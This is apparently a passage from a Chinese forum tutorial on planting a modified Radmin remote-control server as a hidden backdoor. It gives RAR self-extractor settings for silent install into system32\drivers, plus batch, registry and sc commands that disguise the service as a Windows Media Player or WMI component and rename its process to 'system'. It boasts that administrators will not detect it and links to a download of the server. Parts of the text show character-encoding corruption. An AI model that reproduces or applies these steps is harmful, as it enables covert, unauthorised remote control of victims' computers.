4.配置RAR高級自解壓縮選項嘀時候。。注意那個解壓路徑 寫成%systemroot%

\system32\drivers這個
步驟1 選擇『在當(dāng)前文件夾中創(chuàng)建』
步驟2 在『解壓后運(yùn)行』輸入2.bat
步驟3 在『解壓前運(yùn)行』輸入1.bat
步驟4 選擇RAR高級自解壓縮中的『模式』 改兩個地方 選擇『全部隱藏』和『

覆蓋所有文件』

5.把你的r_server改名成system

6.RAR打包的時候不要忘記了SC這個程序

在上面我使用到了幾個隱藏技巧。。

1.使用了attrib命令

2.利用注冊表中的服務(wù)說明。。就是下面這一段
echo Windows Registry Editor Version 5.00 > c:\ip.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\r_server] >>

c:\ip.reg
echo "Description"="為Windows Media Player提供加載進(jìn)程及為其他的移動

媒體，驅(qū)動程序和庫提供基層安全協(xié)議服務(wù)。">> c:\ip.reg

@regedit /s c:\ip.reg
@del c:\ip.reg /f /q

大家應(yīng)該可以看懂

3.使用SC改變了r_server服務(wù)名

@sc config r_server displayname= "Windows Management Instrumentation

Player Drivers"

有了以上的幾步。。很多管理員都不會查出來。。當(dāng)然普通人更不會了

大家選擇一個好的端口就行了。。。如果要替換服務(wù)。。自己加幾個命令在

2.bat中就是了。。

優(yōu)點：
1.在 系統(tǒng)服務(wù) 中看見的是Windows Management Instrumentation Player

Drivers 服務(wù) （可以自定義）
2.服務(wù)說明是 提供加載進(jìn)程及為其他的移動媒體，驅(qū)動程序和庫提供基層安全

協(xié)議服務(wù)
3.在cmd下面 使用net start 看見的自起動服務(wù)是Windows Management

Instrumentation Player Drivers
4.在進(jìn)程中看見的是system（可以自定義，在2.bat文件中相應(yīng)的地方改一下，

注意不要和已有的系統(tǒng)進(jìn)程起沖突）

以上的程序。。SC，還有經(jīng)過處理的RAdmin的服務(wù)端

下載地址：http://superhan.ys168.com

有下載。。。

這個就是我使用的。。有好的給我提提意見（替換服務(wù)出外）